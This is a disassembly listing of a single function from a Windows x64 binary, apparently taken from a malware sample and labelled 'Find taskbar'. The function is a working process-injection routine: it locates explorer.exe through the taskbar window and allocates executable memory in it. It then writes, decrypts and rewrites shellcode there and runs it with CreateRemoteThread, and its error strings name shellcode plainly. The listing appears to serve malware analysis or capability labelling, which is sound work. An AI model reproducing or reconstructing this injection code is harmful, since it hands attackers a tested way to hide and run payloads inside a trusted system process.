Function at 0x1400016d5
Capabilities:
Find taskbar

Disassembly:
push rbp
push rsi
push rbx
sub rsp, 0x110
lea rbp, [rsp + 0x80]
lea rax, str.OpenProcess
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016ba0
mov qword [rbp + 0x80], rax
lea rax, str.VirtualAllocEx
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016b50
mov qword [rbp + 0x78], rax
lea rax, str.WriteProcessMemory
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016c40
mov qword [rbp + 0x70], rax
lea rax, str.CreateRemoteThread
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016b00
mov qword [rbp + 0x68], rax
lea rax, str.ReadProcessMemory
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016bf0
mov qword [rbp + 0x60], rax
lea rax, str.VirtualFreeEx
mov rdx, rax
lea rax, str.kernel32.dll
mov rcx, rax
call fcn.140016c90
mov qword [rbp + 0x58], rax
cmp qword [rbp + 0x80], 0
je 0x1400017c5
cmp qword [rbp + 0x78], 0
je 0x1400017c5
cmp qword [rbp + 0x70], 0
je 0x1400017c5
cmp qword [rbp + 0x68], 0
je 0x1400017c5
cmp qword [rbp + 0x60], 0
je 0x1400017c5
cmp qword [rbp + 0x58], 0
jne 0x1400017fd
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_resolve_one_or_more_functions.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov edx, 0
lea rax, str.Shell_TrayWnd
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_FindWindowA]
call rax
mov qword [rbp + 0x50], rax
cmp qword [rbp + 0x50], 0
jne 0x140001858
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_find_explorer.exe_window.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
lea rdx, [rbp + 0x18]
mov rax, qword [rbp + 0x50]
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call rax
mov eax, dword [rbp + 0x18]
test eax, eax
jne 0x1400018ab
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_get_process_ID_for_explorer.exe.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov edx, dword [rbp + 0x18]
mov rax, qword [rbp + 0x80]
mov r8d, edx
mov edx, 0
mov ecx, 0x1fffff
call rax
mov qword [rbp + 0x48], rax
cmp qword [rbp + 0x48], 0
jne 0x140001907
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_open_explorer.exe_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov dword [rbp + 0x44], 0x10
mov dword [rbp + 0x8c], 0
jmp 0x14000195a
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0xffffffff80808081
shr rdx, 0x20
add edx, eax
sar edx, 7
mov ecx, edx
cdq
sub ecx, edx
mov edx, ecx
shl edx, 8
sub edx, ecx
sub eax, edx
mov ecx, eax
mov eax, ecx
lea edx, [rax + 1]
mov eax, dword [rbp + 0x8c]
cdqe
mov byte [rbp + rax], dl
add dword [rbp + 0x8c], 1
cmp dword [rbp + 0x8c], 0xf
jle 0x14000191a
lea rax, [rbp + 0x1e]
mov qword [rbp + 0x28], rax
nop
nop
mov eax, dword [0x141127738]
mov ecx, eax
lea rdx, [rbp + 0x1e]
lea rax, [rbp - 0x20]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call fcn.14009d640
lea rax, [rbp + 0x1e]
mov rcx, rax
call fcn.140092ab0
nop
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14009d610
mov edx, dword [0x141127738]
mov ecx, edx
mov rdx, rbp
mov qword [rsp + 0x20], rax
mov r9d, 0x10
mov r8, rdx
mov edx, ecx
lea rax, section..data
mov rcx, rax
call fcn.140001646
mov eax, dword [0x141127738]
mov edx, eax
mov rax, qword [rbp + 0x48]
mov dword [rsp + 0x20], 0x40
mov r10, qword [rbp + 0x78]
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x38], rax
cmp qword [rbp + 0x38], 0
jne 0x140001a4d
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_allocate_memory_in_target_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov eax, dword [0x141127738]
mov ebx, eax
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14009d610
mov r8, rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
lea rcx, [rbp - 0x28]
mov qword [rsp + 0x20], rcx
mov r10, qword [rbp + 0x70]
mov r9, rbx
mov rcx, rax
call r10
test eax, eax
je 0x140001a97
mov eax, dword [0x141127738]
mov edx, eax
mov rax, qword [rbp - 0x28]
cmp rdx, rax
je 0x140001a9e
mov eax, 1
jmp 0x140001aa3
mov eax, 0
test al, al
je 0x140001b0d
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov r10, qword [rbp + 0x58]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_write_shellcode_to_remote_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
lea rax, [rbp + 0x1f]
mov qword [rbp + 0x20], rax
nop
nop
mov eax, dword [0x141127738]
mov ecx, eax
lea rdx, [rbp + 0x1f]
lea rax, [rbp - 0x40]
mov r8, rdx
mov rdx, rcx
mov rcx, rax
call fcn.14009d640
lea rax, [rbp + 0x1f]
mov rcx, rax
call fcn.140092ab0
nop
mov eax, dword [0x141127738]
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009d610
mov rcx, rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x60]
mov r9, rbx
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
sete al
test al, al
je 0x140001be9
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov r10, qword [rbp + 0x58]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_read_process_memory.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009d610
mov rbx, rax
mov eax, dword [0x141127738]
mov esi, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009d610
mov rdx, rbp
mov qword [rsp + 0x20], rbx
mov r9d, 0x10
mov r8, rdx
mov edx, esi
mov rcx, rax
call fcn.140001646
mov eax, dword [0x141127738]
mov ebx, eax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009d610
mov rcx, rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x70]
mov r9, rbx
mov r8, rcx
mov rcx, rax
call r10
test eax, eax
sete al
test al, al
je 0x140001cce
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov r10, qword [rbp + 0x58]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_write_decrypted_shellcode_back_to_process.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r10, qword [rbp + 0x68]
mov r9, rdx
mov r8d, 0
mov edx, 0
mov rcx, rax
call r10
mov qword [rbp + 0x30], rax
cmp qword [rbp + 0x30], 0
jne 0x140001d79
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov r10, qword [rbp + 0x58]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov ecx, 0x10
call fcn.1400b46c0
mov rbx, rax
lea rax, str.Failed_to_create_remote_thread.
mov rdx, rax
mov rcx, rbx
call fcn.14008d610
mov r8, qword [fcn.14008d7e0]
lea rax, [0x141133770]
mov rdx, rax
mov rcx, rbx
call fcn.1400b4f40
mov rax, qword [rbp + 0x30]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp + 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x48]
mov r10, qword [rbp + 0x58]
mov r9d, 0x8000
mov r8d, 0
mov rcx, rax
call r10
mov rax, qword [rbp + 0x48]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.14009d6c0
lea rax, [rbp - 0x20]
mov rcx, rax
call fcn.14009d6c0
jmp 0x140001eea
add rsp, 0x110
pop rbx
pop rsi
pop rbp
ret